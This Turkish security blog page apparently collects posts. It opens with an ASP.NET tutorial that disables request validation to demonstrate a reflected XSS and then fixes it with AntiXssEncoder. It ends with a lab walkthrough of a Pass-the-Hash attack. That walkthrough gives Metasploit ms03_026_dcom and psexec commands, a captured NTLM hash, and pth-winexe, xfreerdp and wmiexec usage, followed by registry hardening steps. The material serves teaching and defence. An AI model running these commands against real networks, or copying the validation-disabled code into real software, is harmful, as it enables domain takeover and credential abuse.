16 Ekim 2017

Anti XSS Kütüphanesi ile XSS Saldırılarından Korunma

Anti XSS kütüphanesi .NET platformunda bulunan XSS zafiyetlerini önlemek için oluşturulmuş bir kütüphanedir. Bu kütüphane aracılığıyla  XSS payloadları encode edilerek sunucuya gönderilir.

XSS (Cross Site Scripting) hakkında bilgi sahibi olmak için daha önce yazmış olduğumuz makaleye buraya tıklayarak göz atabilirsiniz.

Anti XSS kütüphanesini anlamak ve kullanımını pekiştirmek için küçük bir uygulama yapacağız, uygulamamızı Visual Studio kullanarak C# dilinde yazacağız.



Projemize XSS_Sayfa1 ve XSS_Sayfa2 olarak 2 adet web form ekliyoruz .


Amacımız sayfa1’deki input alanına yazdıklarımızı sayfa2 ye post etmek.




Sayfa1’e 1 adet textbox ve request işlemimizi yapması için 1 adet buton ekliyoruz.


Kod kısmına gelerek XSS_Class adında bir class ekliyoruz (Sayfa2’ye göndereceğimiz değeri classta tutacağız.)

public class XSS
        {
            public static string XSSPayload;
        }

Butonun click eventine gelerek aşağıdaki kodları yazıyoruz. Textboxa yazılan değeri XSS class’ının XSSPayload özelliğine atıyoruz, sonrasında XSS_Sayfa2.aspx sayfasına yönlendirilmesini sağlıyoruz.

       protected void btnReq_Click(object sender, EventArgs e)
        {
            XSS.XSSPayload = txtXSS.Text;
            Response.Redirect("AntiXSS2.aspx");
        }


XSS_Sayfa2’ye gelerek Page_Load eventinde çalışmasını istediğimiz kod satırlarını yazıyoruz. (Oluşturduğumuz Class’daki XSSPayload özelliğini ekrana yazdırıyoruz.)

protected void Page_Load(object sender, EventArgs e)
        {
            Response.Write(AntiXSS.XSS_Class.XSSPayload);
        }


Uygulamamızı çalıştırıyoruz.

XSS_Sayfa1.aspx’de 1 adet textbox ve 1 adet buton bulunmakta textbox’a standart olarak kullandığımız xss payloadını yazıp gönder butonuna basıyoruz.


Karşımıza bir hata çıkıyor ve xss payloadımız engelleniyor. Ama biz kontrol koymadık nasıl yaptı bunu ?

ASP.NET platformunda geliştirilen yazılımlarda inputlara yazılan ‘<’ işareti ile başlayıp ‘>’ işareti ile biten script tag’leri otomatik olarak varmı yokmu diye kontrol edilir eğer varsa ekrana bu şekilde hata fırlatır. Bunu ASP.NET otomatik olarak kontrol eder.

Hata sayfalarının kullanıcılara gösterilmesi uygulama açısından kritik bilgilerin gösterilebileceği anlamına gelebilir. Bu gibi hata sayfalarının engellenmesi gerekmektedir.

Birçok yazılımcı hata sayfalarını düzeltmek için internette bulduğu çözümü ne gibi sorunlara neden olacağını tahmin edemeyebilir. Hata sayfasının görüntülenmesini engellemek tek satır kod ile mümkündür.
 
Hata sayfasının çözümü olarak Web.config’e yazılacak kod aşağıdaki gibidir.

<pages validateRequest="false"/>


Bu kodu yazdıktan sonra biraz önceki yaptığımız isteği tekrar yapalım.
Sonuç olarak karşımıza hata sayfası çıkmadı ama yazdığımız xss payloadı çalışmış oldu.


Web.config’de yapılan değişiklikler tüm uygulamayı kapsar, ancak bu kontrolü sadece belirli sayfalarda ve belirli inputlarda kapatmakta mümkündür.

aspx sayfasının en üstünde bulunan Page Language ile başlayan satırın içine ValidateRequest="false" yazılırsa validasyon kontrollerinin bu sayfada yapılmayacağı anlamına gelir, yani diğer sayfalarda kontrol devam edecektir.  Aynı şekilde Hangi input için bu kontrolün yapılmasını istemiyorsak ValidateRequestMode="Disabled" yazarakda bu kontrolü o input için kapatmış oluruz.


Şuana kadar hatanın çözümü için yöntemlerden bahsettik, hatanın üretilmesini engelledik ama XSS zafiyetini engelleyemedik tam bu sırada Anti XSS kütüphanesi karşımıza çıkıyor ve bu kütüphane sayesinde XSS zaafiyetinden de korunmuş oluyoruz.

Gerekli kütüphaneyi projemizde kullanacağımız sayfaya ekliyoruz.

using System.Web.Security.AntiXss;

AntiXssEncoder sınıfındaki HtmlEncode özelliğini kullanıyoruz.

Response.Write(AntiXssEncoder.HtmlEncode(AntiXSS.XSS_Class.XSSPayload,false));


Aynı isteği tekrar yaptığımızda sayfanın bize alert üretmediğini görmüş olduk yazdığımız xss payloadını olduğu gibi bize gösterdi, Yani XSS zafiyetini AntiXss kütüphanesi sayesinde önlemiş olduk.
Input Encode


Output Encode


02 Ağustos 2017

12 Mayıs 2017

21 Nisan 2017

Kali Linux - Bölüm 15: Log Altyapısı

Unix ve türevi sistemler uzun süreden beri çok güçlü bir loglama altyapısına sahiptir. Windows’da halen olmamasına rağmen uzun süredir Unix ve türevi sistemlerin uzağa log gönderme kabiliyeti bulunmaktadır.
Sanılanın aksine Unix ve türevi sistemlerdeki tek log dosyası syslog değildir.

06 Nisan 2017

Kali Linux - Bölüm 14: Zamanlı İşler

Unix / Linux sistemlerde ilk zamanlarından bu yana gelişmiş bir özellik olan zamanlı işler özellikle sistem yöneticileri tarafından sıklıkla kullanılmaktadır. “cron” işleri örnek olarak düzenli olarak disk kullanım oranını ölçmek ve sistem yöneticisini uyarmak, uzun süredir kullanılmayan geçici dosyaları sistem üzerinden temizlemek gibi işlemlerde kullanılabilir. Ancak yapılan işlemlerin kritikliğine göre bu sistemi ve konfigürasyonunu iyi anlamak önemlidir.

26 Mart 2017

Kali Linux - Bölüm 13: Sistem Boot Süreci ve Servis Yönetimi

Sistem boot ve shutdown süreçleri

Linux’un boot sürecini anlamak ne işinize yarayabilir? Sisteminiz açıldığında otomatik olarak başlatılan servislerin tam olarak nasıl başlatıldıklarını (ve shutdown sırasında kapatıldıklarını öğrenebilirsiniz). Linux tabanlı bir gömülü sistem oluşturmayı düşündüğünüzde kurgulamanız gereken temel sistem bileşenlerini daha rahat anlarsınız.

17 Mart 2017

Oracle Veritabanı Üzerinden Sistem Ele Geçirme

Veritabanları güçlü fonksiyonaliteleri sayesinde işletim sistemi ele geçirmeye giden yolu bize açabilirler. MSSQL Server için xp_cmdshell extended stored prosedürü ile komut satırı komutu çalıştırma, MySQL için INTO OUTFILE özelliği ile hedef sistemin dosya sistemine dosya yazarak hedef sistem üzerinde kod çalıştırma yöntemleri az sayıda adımda gerçekleştirilebildiği için çok bilinen yöntemlerdir. Ancak Oracle'da aynı sonuçlara ulaşmak için hem daha fazla adım atmak lazım, hem de uygulama geliştirme (ya da en azından kullandığınız uygulama kodunu anlama) ihtiyacı bulunmaktadır.

06 Mart 2017

Pass the Hash Saldırısı ile Domain'i Ele Geçirme

Bir networkte birden fazla client bulunduğunda domain server kurulur. Bu server üzerinde gerekli politikalar oluşturularak kullanıcı oluşturulur. Daha sonra client’lar bilgisayarlarını açmak istediklerinde active directory’deki credential bilgileri ile bilgisayarlarını açarlar. 

Biz burada client üzerinde bulunan parola hash’lerini alarak domain server'ı ele geçireceğiz. Kullanıcı hem client’ta hem de server üzerinde çalışabilen bir kullanıcı olmalıdır.



Client Windows XP SP1 çalışan bir cihaz ve serverda Windows Server 2008 r2 işletim sistemlerine sahiptirler. Client active directory’yi kullanarak login olmaktadır. Xp üzerinde “MS03-026 dcom” açıklığı bulunmaktadır. Bu açıklık yardımıyla parola hashlerini çekeceğiz.

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set RHOST 192.168.2.133
RHOST => 192.168.2.133
msf exploit(ms03_026_dcom) > set RPORT 135
RPORT => 135
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms03_026_dcom) > run 

"run" denilip meterpreter shell açıldıktan sonra ram üzerinde bilgileri çekmemiz gerekmektedir. Meterpreterda "hashdump" yazdığımızda, SAM dosyasındaki bilgileri vermektedir. Bu bizim için yeterli olmayacaktır. Bundan dolayı mimikatz aracını kullanarak aktif olan kullanıcıyıda görüntüleyebileceğiz.


Saldıracağımız kullanıcı "BTRISKLOCAL administrator" olacaktır. Bu kullanıcı hem clientta(XP de), hem de server(Windows Server 2008) de login olabilen bir kullanıcıdır. Bu kullanıcı ile sunucuyu ele geçireceğiz.

Doğru domain bilgilerini öğrenebilmemiz için nmap aracını kullanabilirsiniz.  

nmap -p 445 --script smb-os-discovery 192.168.2.5
use exploit/windows/smb/psexec modulunu kullanarak servera login olunabilmektedir. 

msf >  use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.2.5
RHOST => 192.168.2.5
msf exploit(psexec) > set SMBUser administrator
SMBUser => administrator 
msf exploit(psexec) > set SMBPass f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e
SMBPass => f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e
msf exploit(psexec) > set SMBDomain btrisklocal
SMBDomain => btrisklocal
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.184.131
LHOST => 192.168.184.131
msf exploit(psexec) > run
 Gerekli bilgileri girildiğinden emin olun.

show options denildiğinde ayarlar aşağıdaki gibi olacaktır.


"run" dedikten sonra server'a giriş yapıyoruz. 


Metasploit kullanmadan da bu işlemleri yapabilirsiniz. Bunun içinde pth-winexe, freerdp-x11, wmiexec.exe(Windowsda) vb. araçlar kullanılabilir. Bu araçlar da aynı mantıkla çalışmaktadır.

#pth-winece Kullanımı
pth-winexe -U DOMAIN/username%hash //IP cmd.exe
pth-winexe -U btrisklocal/administrator%f26fb3ae03e93ab9c81667e9d738c5d9:47bf8039a8506cd67c524a03ff84ba4e //192.168.2.5 cmd.exe

#freerdp-x11 Kullanımı
xfreerdp /u:username /d:DOMAIN /ptn:hash /v:IP

#Windowsda kullanabileceğiniz wmiexec
.\wmiexec.exe -hashes HASH username@IP
Bulduğunuz hash'i decrypter araçları ile çözerek elde edilen parola ile başka sistemlere authentication uygulanabilir. Belki daha yetkili sistemlere giriş yapmaya izin verebilir. 

Pass The Hash Saldırına Nasıl Engellenebilir?
1 - Eğer SMB servisine ihtiyaç yoksa kapatılmalıdır.
2 - Yönetimsel paylaşımların kapatılması. Pass the Hash yöntemleri bu yöntemi kullandığından, bu paylaşım kapatılmalıdır. Paylaşımları kapatmak için regedite şu değer eklenmelidir;
    "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters\" altında  autosharewks ve  AutoShareServer REG_DWORD tipinde eklenmeli ve değerleri 0 yapılmalıdır. Ya da command line'da aşağıdaki komutlar çalıştırılmalıdır.


    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanManServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f

    3 - UAC aktif etme; Kullanıcı Hesap Denetimi kullanılarak çalıştırılabilir bir dosya çalıştırıldığında kullanıcıdan izin istemesi sağlanmalıdır. Bunun için;
      Denetim Masası (Control Panel) -> Kullanıcı Hesapları (User Accounts) sayfasında Kullanıcı Hesabı Denetimini aç veya kapat (Turn User Account Control on or off) seçeneği tıklanır. Çıkan sayfadaki düğmenin onayı kaldırılıp Tamam'a (OK) tıklanır ve bilgisayar yeniden başlatılır. Ya da Regeditte aşağıdaki değişiklik uygulanmalıdır.

      "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" altında "EnableLUA" ve "FilterAdministratorToken" değerleri 1 olarak değiştirilmelidir. 


      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 1 /f
      reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v FilterAdministratorToken /t REG_DWORD /d 1 /f
      Böylece sisteme girişler engellenmiş olur.